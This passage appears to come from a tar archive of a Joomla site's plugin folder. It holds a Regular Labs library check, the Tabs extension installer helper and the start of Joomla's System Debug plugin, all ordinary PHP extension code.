			$this->throwError('REGULAR_LABS_LIBRARY_NOT_ENABLED');

			define('REGULAR_LABS_LIBRARY_ENABLED', false);

			return;
		}

		define('REGULAR_LABS_LIBRARY_ENABLED', true);
	}

	/**
	 * Check if the Regular Labs Library is installed
	 *
	 * @return bool
	 */
	private function isFrameworkInstalled()
	{
		if ( ! defined('REGULAR_LABS_LIBRARY_INSTALLED'))
		{
			$this->setIsFrameworkInstalled();
		}

		switch (REGULAR_LABS_LIBRARY_INSTALLED)
		{
			case 'outdated':
				$this->throwError('REGULAR_LABS_LIBRARY_OUTDATED');

				return false;

			case 'no':
				$this->throwError('REGULAR_LABS_LIBRARY_NOT_INSTALLED');

				return false;

			case 'yes':
			default:
				return true;
		}
	}

	/**
	 * set the define with whether the Regular Labs Library is installed
	 */
	private function setIsFrameworkInstalled()
	{
		if (
			! is_file(JPATH_PLUGINS . '/system/regularlabs/regularlabs.xml')
			|| ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')
		)
		{
			define('REGULAR_LABS_LIBRARY_INSTALLED', 'no');

			return;
		}

		$plugin  = JInstaller::parseXMLInstallFile(JPATH_PLUGINS . '/system/regularlabs/regularlabs.xml');
		$library = JInstaller::parseXMLInstallFile(JPATH_LIBRARIES . '/regularlabs/regularlabs.xml');

		if (empty($plugin) || empty($library))
		{
			define('REGULAR_LABS_LIBRARY_INSTALLED', 'no');

			return;
		}

		if (version_compare($plugin['version'], '18.3.17810', '<')
			|| version_compare($library['version'], '18.3.17810', '<'))
		{
			define('REGULAR_LABS_LIBRARY_INSTALLED', 'outdated');

			return;
		}

		define('REGULAR_LABS_LIBRARY_INSTALLED', 'yes');
	}

	/**
	 * Place an error in the message queue
	 */
	private function throwError($error)
	{
		// Return if page is not an admin page or the admin login page
		if (
			! JFactory::getApplication()->isAdmin()
			|| JFactory::getUser()->get('guest')
		)
		{
			return;
		}

		// load the admin language file
		JFactory::getLanguage()->load('plg_' . $this->_type . '_' . $this->_name, JPATH_PLUGINS . '/' . $this->_type . '/' . $this->_name);

		$text = JText::sprintf($this->_lang_prefix . '_' . $error, JText::_($this->_title));
		$text = JText::_($text) . ' ' . JText::sprintf($this->_lang_prefix . '_EXTENSION_CAN_NOT_FUNCTION', JText::_($this->_title));

		// Check if message is not already in queue
		$messagequeue = JFactory::getApplication()->getMessageQueue();
		foreach ($messagequeue as $message)
		{
			if ($message['message'] == $text)
			{
				return;
			}
		}

		JFactory::getApplication()->enqueueMessage($text, 'error');
	}
}

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    system/tabs/wp-login.php                                                                            0000644                 00000000000 15242051521 0011251 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       system/tabs/script.install.helper.php                                                               0000705                 00000052142 15242051521 0013760 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Tabs
 * @version         7.2.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2018 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

class PlgSystemTabsInstallerScriptHelper
{
	public $name            = '';
	public $alias           = '';
	public $extname         = '';
	public $extension_type  = '';
	public $plugin_folder   = 'system';
	public $module_position = 'status';
	public $client_id       = 1;
	public $install_type    = 'install';
	public $show_message    = true;
	public $db              = null;
	public $softbreak       = null;

	public function __construct(&$params)
	{
		$this->extname = $this->extname ?: $this->alias;
		$this->db      = JFactory::getDbo();
	}

	public function preflight($route, JAdapterInstance $adapter)
	{
		if ( ! in_array($route, ['install', 'update']))
		{
			return true;
		}

		JFactory::getLanguage()->load('plg_system_regularlabsinstaller', JPATH_PLUGINS . '/system/regularlabsinstaller');

		if ($this->show_message && $this->isInstalled())
		{
			$this->install_type = 'update';
		}

		if ($this->onBeforeInstall($route) === false)
		{
			return false;
		}

		return true;
	}

	public function postflight($route, JAdapterInstance $adapter)
	{
		$this->removeGlobalLanguageFiles();
		$this->removeUnusedLanguageFiles();

		JFactory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, $this->getMainFolder());

		if ( ! in_array($route, ['install', 'update']))
		{
			return true;
		}

		$this->fixExtensionNames();
		$this->updateUpdateSites();
		$this->removeAdminCache();

		if ($this->onAfterInstall($route) === false)
		{
			return false;
		}

		if ($route == 'install')
		{
			$this->publishExtension();
		}

		if ($this->show_message)
		{
			$this->addInstalledMessage();
		}

		JFactory::getCache()->clean('com_plugins');
		JFactory::getCache()->clean('_system');

		return true;
	}

	public function isInstalled()
	{
		if ( ! is_file($this->getInstalledXMLFile()))
		{
			return false;
		}

		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('extension_id'))
			->from('#__extensions')
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote($this->extension_type))
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName()));
		$this->db->setQuery($query, 0, 1);
		$result = $this->db->loadResult();

		return empty($result) ? false : true;
	}

	public function getMainFolder()
	{
		switch ($this->extension_type)
		{
			case 'plugin' :
				return JPATH_PLUGINS . '/' . $this->plugin_folder . '/' . $this->extname;

			case 'component' :
				return JPATH_ADMINISTRATOR . '/components/com_' . $this->extname;

			case 'module' :
				return JPATH_ADMINISTRATOR . '/modules/mod_' . $this->extname;

			case 'library' :
				return JPATH_SITE . '/libraries/' . $this->extname;
		}
	}

	public function getInstalledXMLFile()
	{
		return $this->getXMLFile($this->getMainFolder());
	}

	public function getCurrentXMLFile()
	{
		return $this->getXMLFile(__DIR__);
	}

	public function getXMLFile($folder)
	{
		switch ($this->extension_type)
		{
			case 'module' :
				return $folder . '/mod_' . $this->extname . '.xml';

			default :
				return $folder . '/' . $this->extname . '.xml';
		}
	}

	public function uninstallExtension($extname, $type = 'plugin', $folder = 'system', $show_message = true)
	{
		if (empty($extname))
		{
			return;
		}

		$folders = [];

		switch ($type)
		{
			case 'plugin';
				$folders[] = JPATH_PLUGINS . '/' . $folder . '/' . $extname;
				break;

			case 'component':
				$folders[] = JPATH_ADMINISTRATOR . '/components/com_' . $extname;
				$folders[] = JPATH_SITE . '/components/com_' . $extname;
				break;

			case 'module':
				$folders[] = JPATH_ADMINISTRATOR . '/modules/mod_' . $extname;
				$folders[] = JPATH_SITE . '/modules/mod_' . $extname;
				break;
		}

		if ( ! $this->foldersExist($folders))
		{
			return;
		}

		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('extension_id'))
			->from('#__extensions')
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName($type, $extname)))
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote($type));

		if ($type == 'plugin')
		{
			$query->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($folder));
		}

		$this->db->setQuery($query);
		$ids = $this->db->loadColumn();

		if (empty($ids))
		{
			foreach ($folders as $folder)
			{
				JFolder::delete($folder);
			}

			return;
		}

		$ignore_ids = JFactory::getApplication()->getUserState('rl_ignore_uninstall_ids', []);

		if (JFactory::getApplication()->input->get('option') == 'com_installer' && JFactory::getApplication()->input->get('task') == 'remove')
		{
			// Don't attempt to uninstall extensions that are already selected to get uninstalled by them selves
			$ignore_ids = array_merge($ignore_ids, JFactory::getApplication()->input->get('cid', [], 'array'));
			JFactory::getApplication()->input->set('cid', array_merge($ignore_ids, $ids));
		}

		$ids = array_diff($ids, $ignore_ids);

		if (empty($ids))
		{
			return;
		}

		$ignore_ids = array_merge($ignore_ids, $ids);
		JFactory::getApplication()->setUserState('rl_ignore_uninstall_ids', $ignore_ids);

		foreach ($ids as $id)
		{
			$tmpInstaller = new JInstaller;
			$tmpInstaller->uninstall($type, $id);
		}

		if ($show_message)
		{
			JFactory::getApplication()->enqueueMessage(
				JText::sprintf(
					'COM_INSTALLER_UNINSTALL_SUCCESS',
					JText::_('COM_INSTALLER_TYPE_TYPE_' . strtoupper($type))
				)
			);
		}
	}

	public function foldersExist($folders = [])
	{
		foreach ($folders as $folder)
		{
			if (is_dir($folder))
			{
				return true;
			}
		}

		return false;
	}

	public function uninstallPlugin($extname, $folder = 'system', $show_message = true)
	{
		$this->uninstallExtension($extname, 'plugin', $folder, $show_message);
	}

	public function uninstallComponent($extname, $show_message = true)
	{
		$this->uninstallExtension($extname, 'component', null, $show_message);
	}

	public function uninstallModule($extname, $show_message = true)
	{
		$this->uninstallExtension($extname, 'module', null, $show_message);
	}

	public function publishExtension()
	{
		switch ($this->extension_type)
		{
			case 'plugin' :
				$this->publishPlugin();

			case 'module' :
				$this->publishModule();
		}
	}

	public function publishPlugin()
	{
		$query = $this->db->getQuery(true)
			->update('#__extensions')
			->set($this->db->quoteName('enabled') . ' = 1')
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote('plugin'))
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->extname))
			->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($this->plugin_folder));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	public function publishModule()
	{
		// Get module id
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('id'))
			->from('#__modules')
			->where($this->db->quoteName('module') . ' = ' . $this->db->quote('mod_' . $this->extname))
			->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id);
		$this->db->setQuery($query, 0, 1);
		$id = $this->db->loadResult();

		if ( ! $id)
		{
			return;
		}

		// check if module is already in the modules_menu table (meaning is is already saved)
		$query->clear()
			->select($this->db->quoteName('moduleid'))
			->from('#__modules_menu')
			->where($this->db->quoteName('moduleid') . ' = ' . (int) $id);
		$this->db->setQuery($query, 0, 1);
		$exists = $this->db->loadResult();

		if ($exists)
		{
			return;
		}

		// Get highest ordering number in position
		$query->clear()
			->select($this->db->quoteName('ordering'))
			->from('#__modules')
			->where($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position))
			->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id)
			->order('ordering DESC');
		$this->db->setQuery($query, 0, 1);
		$ordering = $this->db->loadResult();
		$ordering++;

		// publish module and set ordering number
		$query->clear()
			->update('#__modules')
			->set($this->db->quoteName('published') . ' = 1')
			->set($this->db->quoteName('ordering') . ' = ' . (int) $ordering)
			->set($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position))
			->where($this->db->quoteName('id') . ' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();

		// add module to the modules_menu table
		$query->clear()
			->insert('#__modules_menu')
			->columns([$this->db->quoteName('moduleid'), $this->db->quoteName('menuid')])
			->values((int) $id . ', 0');
		$this->db->setQuery($query);
		$this->db->execute();
	}

	public function addInstalledMessage()
	{
		JFactory::getApplication()->enqueueMessage(
			JText::sprintf(
				JText::_($this->install_type == 'update' ? 'RLI_THE_EXTENSION_HAS_BEEN_UPDATED_SUCCESSFULLY' : 'RLI_THE_EXTENSION_HAS_BEEN_INSTALLED_SUCCESSFULLY'),
				'<strong>' . JText::_($this->name) . '</strong>',
				'<strong>' . $this->getVersion() . '</strong>',
				$this->getFullType()
			)
		);
	}

	public function getPrefix()
	{
		switch ($this->extension_type)
		{
			case 'plugin';
				return JText::_('plg_' . strtolower($this->plugin_folder));

			case 'component':
				return JText::_('com');

			case 'module':
				return JText::_('mod');

			case 'library':
				return JText::_('lib');

			default:
				return $this->extension_type;
		}
	}

	public function getElementName($type = null, $extname = null)
	{
		$type    = is_null($type) ? $this->extension_type : $type;
		$extname = is_null($extname) ? $this->extname : $extname;

		switch ($type)
		{
			case 'component' :
				return 'com_' . $extname;

			case 'module' :
				return 'mod_' . $extname;

			case 'plugin' :
			default:
				return $extname;
		}
	}

	public function getFullType()
	{
		return JText::_('RLI_' . strtoupper($this->getPrefix()));
	}

	public function getVersion($file = '')
	{
		$file = $file ?: $this->getCurrentXMLFile();

		if ( ! is_file($file))
		{
			return '';
		}

		$xml = JApplicationHelper::parseXMLInstallFile($file);

		if ( ! $xml || ! isset($xml['version']))
		{
			return '';
		}

		return $xml['version'];
	}

	public function isNewer()
	{
		if ( ! $installed_version = $this->getVersion($this->getInstalledXMLFile()))
		{
			return true;
		}

		$package_version = $this->getVersion();

		return version_compare($installed_version, $package_version, '<=');
	}

	public function canInstall()
	{
		// The extension is not installed yet
		if ( ! $installed_version = $this->getVersion($this->getInstalledXMLFile()))
		{
			return true;
		}

		// The free version is installed. So any version is ok to install
		if (strpos($installed_version, 'PRO') === false)
		{
			return true;
		}

		// Current package is a pro version, so all good
		if (strpos($this->getVersion(), 'PRO') !== false)
		{
			return true;
		}

		JFactory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, __DIR__);

		JFactory::getApplication()->enqueueMessage(JText::_('RLI_ERROR_PRO_TO_FREE'), 'error');

		JFactory::getApplication()->enqueueMessage(
			html_entity_decode(
				JText::sprintf(
					'RLI_ERROR_UNINSTALL_FIRST',
					'<a href="https://www.regularlabs.com/extensions/' . $this->alias . '" target="_blank">',
					'</a>',
					JText::_($this->name)
				)
			), 'error'
		);

		return false;
	}

	/*
	 * Fixes incorrectly formed versions because of issues in old packager
	 */
	public function fixFileVersions($file)
	{
		if (is_array($file))
		{
			foreach ($file as $f)
			{
				self::fixFileVersions($f);
			}

			return;
		}

		if ( ! is_string($file) || ! is_file($file))
		{
			return;
		}

		$contents = file_get_contents($file);

		if (
			strpos($contents, 'FREEFREE') === false
			&& strpos($contents, 'FREEPRO') === false
			&& strpos($contents, 'PROFREE') === false
			&& strpos($contents, 'PROPRO') === false
		)
		{
			return;
		}

		$contents = str_replace(
			['FREEFREE', 'FREEPRO', 'PROFREE', 'PROPRO'],
			['FREE', 'PRO', 'FREE', 'PRO'],
			$contents
		);

		JFile::write($file, $contents);
	}

	public function onBeforeInstall($route)
	{
		if ( ! $this->canInstall())
		{
			return false;
		}

		return true;
	}

	public function onAfterInstall($route)
	{
	}

	public function delete($files = [])
	{
		foreach ($files as $file)
		{
			if (is_dir($file))
			{
				JFolder::delete($file);
			}

			if (is_file($file))
			{
				JFile::delete($file);
			}
		}
	}

	public function fixAssetsRules($rules = '{"core.admin":[],"core.manage":[]}')
	{
		// replace default rules value {} with the correct initial value
		$query = $this->db->getQuery(true)
			->update($this->db->quoteName('#__assets'))
			->set($this->db->quoteName('rules') . ' = ' . $this->db->quote($rules))
			->where($this->db->quoteName('title') . ' = ' . $this->db->quote('com_' . $this->extname))
			->where($this->db->quoteName('rules') . ' = ' . $this->db->quote('{}'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function fixExtensionNames()
	{
		switch ($this->extension_type)
		{
			case 'module' :
				$this->fixModuleNames();
		}
	}

	private function fixModuleNames()
	{
		// Get module id
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('id'))
			->from('#__modules')
			->where($this->db->quoteName('module') . ' = ' . $this->db->quote('mod_' . $this->extname))
			->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id);
		$this->db->setQuery($query, 0, 1);
		$module_id = $this->db->loadResult();

		if (empty($module_id))
		{
			return;
		}

		$title = 'Regular Labs - ' . JText::_($this->name);

		$query->clear()
			->update('#__modules')
			->set($this->db->quoteName('title') . ' = ' . $this->db->quote($title))
			->where($this->db->quoteName('id') . ' = ' . (int) $module_id)
			->where($this->db->quoteName('title') . ' LIKE ' . $this->db->quote('NoNumber%'));
		$this->db->setQuery($query);
		$this->db->execute();

		// Fix module assets

		// Get asset id
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('id'))
			->from('#__assets')
			->where($this->db->quoteName('name') . ' = ' . $this->db->quote('com_modules.module.' . (int) $module_id))
			->where($this->db->quoteName('title') . ' LIKE ' . $this->db->quote('NoNumber%'));
		$this->db->setQuery($query, 0, 1);
		$asset_id = $this->db->loadResult();

		if (empty($asset_id))
		{
			return;
		}

		$query->clear()
			->update('#__assets')
			->set($this->db->quoteName('title') . ' = ' . $this->db->quote($title))
			->where($this->db->quoteName('id') . ' = ' . (int) $asset_id);
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateUpdateSites()
	{
		$this->removeOldUpdateSites();
		$this->updateNamesInUpdateSites();
		$this->updateHttptoHttpsInUpdateSites();
		$this->removeDuplicateUpdateSite();
		$this->updateDownloadKey();
	}

	private function removeOldUpdateSites()
	{
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('update_site_id'))
			->from('#__update_sites')
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('nonumber.nl%'))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'));
		$this->db->setQuery($query, 0, 1);
		$id = $this->db->loadResult();

		if ( ! $id)
		{
			return;
		}

		$query->clear()
			->delete('#__update_sites')
			->where($this->db->quoteName('update_site_id') . ' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();

		$query->clear()
			->delete('#__update_sites_extensions')
			->where($this->db->quoteName('update_site_id') . ' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateNamesInUpdateSites()
	{
		$name = JText::_($this->name);
		if ($this->alias != 'extensionmanager')
		{
			$name = 'Regular Labs - ' . $name;
		}

		$query = $this->db->getQuery(true)
			->update('#__update_sites')
			->set($this->db->quoteName('name') . ' = ' . $this->db->quote($name))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateHttptoHttpsInUpdateSites()
	{
		$query = $this->db->getQuery(true)
			->update('#__update_sites')
			->set($this->db->quoteName('location') . ' = REPLACE('
				. $this->db->quoteName('location') . ', '
				. $this->db->quote('http://') . ', '
				. $this->db->quote('https://')
				. ')')
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('http://download.regularlabs.com%'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function removeDuplicateUpdateSite()
	{
		// First check to see if there is a pro entry

		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('update_site_id'))
			->from('#__update_sites')
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'))
			->where($this->db->quoteName('location') . ' NOT LIKE ' . $this->db->quote('%pro=1%'));
		$this->db->setQuery($query, 0, 1);
		$id = $this->db->loadResult();

		// Otherwise just get the first match
		if ( ! $id)
		{
			$query->clear()
				->select($this->db->quoteName('update_site_id'))
				->from('#__update_sites')
				->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'))
				->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'));
			$this->db->setQuery($query, 0, 1);
			$id = $this->db->loadResult();

			// Remove pro=1 from the found update site
			$query->clear()
				->update('#__update_sites')
				->set($this->db->quoteName('location')
					. ' = replace(' . $this->db->quoteName('location') . ', ' . $this->db->quote('&pro=1') . ', ' . $this->db->quote('') . ')')
				->where($this->db->quoteName('update_site_id') . ' = ' . (int) $id);
			$this->db->setQuery($query);
			$this->db->execute();
		}

		if ( ! $id)
		{
			return;
		}

		$query->clear()
			->select($this->db->quoteName('update_site_id'))
			->from('#__update_sites')
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'))
			->where($this->db->quoteName('update_site_id') . ' != ' . $id);
		$this->db->setQuery($query);
		$ids = $this->db->loadColumn();

		if (empty($ids))
		{
			return;
		}

		$query->clear()
			->delete('#__update_sites')
			->where($this->db->quoteName('update_site_id') . ' IN (' . implode(',', $ids) . ')');
		$this->db->setQuery($query);
		$this->db->execute();

		$query->clear()
			->delete('#__update_sites_extensions')
			->where($this->db->quoteName('update_site_id') . ' IN (' . implode(',', $ids) . ')');
		$this->db->setQuery($query);
		$this->db->execute();
	}

	// Save the download key from the Regular Labs Extension Manager config to the update sites
	private function updateDownloadKey()
	{
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('params'))
			->from('#__extensions')
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote('com_regularlabsmanager'));
		$this->db->setQuery($query);
		$params = $this->db->loadResult();

		if ( ! $params)
		{
			return;
		}

		$params = json_decode($params);

		if ( ! isset($params->key))
		{
			return;
		}

		// Add the key on all regularlabs.com urls
		$query->clear()
			->update('#__update_sites')
			->set($this->db->quoteName('extra_query') . ' = ' . $this->db->quote('k=' . $params->key))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function removeAdminCache()
	{
		$this->delete([JPATH_ADMINISTRATOR . '/cache/regularlabs']);
		$this->delete([JPATH_ADMINISTRATOR . '/cache/nonumber']);
	}

	private function removeGlobalLanguageFiles()
	{
		if ($this->extension_type == 'library')
		{
			return;
		}

		$language_files = JFolder::files(JPATH_ADMINISTRATOR . '/language', '\.' . $this->getPrefix() . '_' . $this->extname . '\.', true, true);

		// Remove override files
		foreach ($language_files as $i => $language_file)
		{
			if (strpos($language_file, '/overrides/') === false)
			{
				continue;
			}

			unset($language_files[$i]);
		}

		if (empty($language_files))
		{
			return;
		}

		JFile::delete($language_files);
	}

	private function removeUnusedLanguageFiles()
	{
		if ($this->extension_type == 'library')
		{
			return;
		}

		$installed_languages = array_merge(
			JFolder::folders(JPATH_SITE . '/language'),
			JFolder::folders(JPATH_ADMINISTRATOR . '/language')
		);

		$languages = array_diff(
			JFolder::folders(__DIR__ . '/language'),
			$installed_languages
		);

		$delete_languages = [];

		foreach ($languages as $language)
		{
			$delete_languages[] = $this->getMainFolder() . '/language/' . $language;
		}

		if (empty($delete_languages))
		{
			return;
		}

		// Remove folders
		$this->delete($delete_languages);
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                              system/debug/index.html                                                                             0000705                 00000000037 15242051521 0011146 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 system/debug/debug.php                                                                              0000705                 00000141542 15242051521 0010757 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Debug
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Joomla! Debug plugin.
 *
 * @since  1.5
 */
class PlgSystemDebug extends JPlugin
{
	/**
	 * xdebug.file_link_format from the php.ini.
	 *
	 * @var    string
	 * @since  1.7
	 */
	protected $linkFormat = '';

	/**
	 * True if debug lang is on.
	 *
	 * @var    boolean
	 * @since  3.0
	 */
	private $debugLang = false;

	/**
	 * Holds log entries handled by the plugin.
	 *
	 * @var    array
	 * @since  3.1
	 */
	private $logEntries = array();

	/**
	 * Holds SHOW PROFILES of queries.
	 *
	 * @var    array
	 * @since  3.1.2
	 */
	private $sqlShowProfiles = array();

	/**
	 * Holds all SHOW PROFILE FOR QUERY n, indexed by n-1.
	 *
	 * @var    array
	 * @since  3.1.2
	 */
	private $sqlShowProfileEach = array();

	/**
	 * Holds all EXPLAIN EXTENDED for all queries.
	 *
	 * @var    array
	 * @since  3.1.2
	 */
	private $explains = array();

	/**
	 * Holds total amount of executed queries.
	 *
	 * @var    int
	 * @since  3.2
	 */
	private $totalQueries = 0;

	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.3
	 */
	protected $app;

	/**
	 * Database object.
	 *
	 * @var    JDatabaseDriver
	 * @since  3.8.0
	 */
	protected $db;

	/**
	 * Container for callback functions to be triggered when rendering the console.
	 *
	 * @var    callable[]
	 * @since  3.7.0
	 */
	private static $displayCallbacks = array();

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe.
	 * @param   array   $config    An optional associative array of configuration settings.
	 *
	 * @since   1.5
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		// Log the deprecated API.
		if ($this->params->get('log-deprecated', 0))
		{
			JLog::addLogger(array('text_file' => 'deprecated.php'), JLog::ALL, array('deprecated'));
		}

		// Log everything (except deprecated APIs, these are logged separately with the option above).
		if ($this->params->get('log-everything', 0))
		{
			JLog::addLogger(array('text_file' => 'everything.php'), JLog::ALL, array('deprecated', 'databasequery'), true);
		}

		// Get the application if not done by JPlugin. This may happen during upgrades from Joomla 2.5.
		if (!$this->app)
		{
			$this->app = JFactory::getApplication();
		}

		// Get the db if not done by JPlugin. This may happen during upgrades from Joomla 2.5.
		if (!$this->db)
		{
			$this->db = JFactory::getDbo();
		}

		$this->debugLang = $this->app->get('debug_lang');

		// Skip the plugin if debug is off
		if ($this->debugLang == '0' && $this->app->get('debug') == '0')
		{
			return;
		}

		// Only if debugging or language debug is enabled.
		if (JDEBUG || $this->debugLang)
		{
			JFactory::getConfig()->set('gzip', 0);
			ob_start();
			ob_implicit_flush(false);
		}

		$this->linkFormat = ini_get('xdebug.file_link_format');

		if ($this->params->get('logs', 1))
		{
			$priority = 0;

			foreach ($this->params->get('log_priorities', array()) as $p)
			{
				$const = 'JLog::' . strtoupper($p);

				if (!defined($const))
				{
					continue;
				}

				$priority |= constant($const);
			}

			// Split into an array at any character other than alphabet, numbers, _, ., or -
			$categories = preg_split('/[^\w.-]+/', $this->params->get('log_categories', ''), -1, PREG_SPLIT_NO_EMPTY);
			$mode       = $this->params->get('log_category_mode', 0);

			JLog::addLogger(array('logger' => 'callback', 'callback' => array($this, 'logger')), $priority, $categories, $mode);
		}

		// Prepare disconnect handler for SQL profiling.
		$db = $this->db;
		$db->addDisconnectHandler(array($this, 'mysqlDisconnectHandler'));

		// Log deprecated class aliases
		foreach (JLoader::getDeprecatedAliases() as $deprecation)
		{
			JLog::add(
				sprintf(
					'%1$s has been aliased to %2$s and the former class name is deprecated. The alias will be removed in %3$s.',
					$deprecation['old'],
					$deprecation['new'],
					$deprecation['version']
				),
				JLog::WARNING,
				'deprecated'
			);
		}
	}

	/**
	 * Add the CSS for debug.
	 * We can't do this in the constructor because stuff breaks.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onAfterDispatch()
	{
		// Only if debugging or language debug is enabled.
		if ((JDEBUG || $this->debugLang) && $this->isAuthorisedDisplayDebug())
		{
			JHtml::_('stylesheet', 'cms/debug.css', array('version' => 'auto', 'relative' => true));
		}

		// Disable asset media version if needed.
		if (JDEBUG && (int) $this->params->get('refresh_assets', 1) === 0)
		{
			$this->app->getDocument()->setMediaVersion(null);
		}

		// Only if debugging is enabled for SQL query popovers.
		if (JDEBUG && $this->isAuthorisedDisplayDebug())
		{
			JHtml::_('bootstrap.tooltip');
			JHtml::_('bootstrap.popover', '.hasPopover', array('placement' => 'top'));
		}
	}

	/**
	 * Show the debug info.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function onAfterRespond()
	{
		// Do not render if debugging or language debug is not enabled.
		if (!JDEBUG && !$this->debugLang)
		{
			return;
		}

		// User has to be authorised to see the debug information.
		if (!$this->isAuthorisedDisplayDebug())
		{
			return;
		}

		// Only render for HTML output.
		if (JFactory::getDocument()->getType() !== 'html')
		{
			return;
		}

		// Capture output.
		$contents = ob_get_contents();

		if ($contents)
		{
			ob_end_clean();
		}

		// No debug for Safari and Chrome redirection.
		if (strpos($contents, '<html><head><meta http-equiv="refresh" content="0;') === 0
			&& strpos(strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''), 'webkit') !== false)
		{
			echo $contents;

			return;
		}

		// Load language.
		$this->loadLanguage();

		$html = array();

		// Some "mousewheel protecting" JS.
		$html[] = "<script>function toggleContainer(name)
		{
			var e = document.getElementById(name);// MooTools might not be available ;)
			e.style.display = e.style.display === 'none' ? 'block' : 'none';
		}</script>";

		$html[] = '<div id="system-debug" class="profiler">';

		$html[] = '<h2>' . JText::_('PLG_DEBUG_TITLE') . '</h2>';

		if (JDEBUG)
		{
			if (JError::getErrors())
			{
				$html[] = $this->display('errors');
			}

			if ($this->params->get('session', 1))
			{
				$html[] = $this->display('session');
			}

			if ($this->params->get('profile', 1))
			{
				$html[] = $this->display('profile_information');
			}

			if ($this->params->get('memory', 1))
			{
				$html[] = $this->display('memory_usage');
			}

			if ($this->params->get('queries', 1))
			{
				$html[] = $this->display('queries');
			}

			if (!empty($this->logEntries) && $this->params->get('logs', 1))
			{
				$html[] = $this->display('logs');
			}
		}

		if ($this->debugLang)
		{
			if ($this->params->get('language_errorfiles', 1))
			{
				$languageErrors = JFactory::getLanguage()->getErrorFiles();
				$html[]         = $this->display('language_files_in_error', $languageErrors);
			}

			if ($this->params->get('language_files', 1))
			{
				$html[] = $this->display('language_files_loaded');
			}

			if ($this->params->get('language_strings', 1))
			{
				$html[] = $this->display('untranslated_strings');
			}
		}

		foreach (self::$displayCallbacks as $name => $callable)
		{
			$html[] = $this->displayCallback($name, $callable);
		}

		$html[] = '</div>';

		echo str_replace('</body>', implode('', $html) . '</body>', $contents);
	}

	/**
	 * Add a display callback to be rendered with the debug console.
	 *
	 * @param   string    $name      The name of the callable, this is used to generate the section title.
	 * @param   callable  $callable  The callback function to be added.
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 * @throws  InvalidArgumentException
	 */
	public static function addDisplayCallback($name, $callable)
	{
		// TODO - When PHP 5.4 is the minimum the parameter should be typehinted "callable" and this check removed
		if (!is_callable($callable))
		{
			throw new InvalidArgumentException('A valid callback function must be given.');
		}

		self::$displayCallbacks[$name] = $callable;

		return true;
	}

	/**
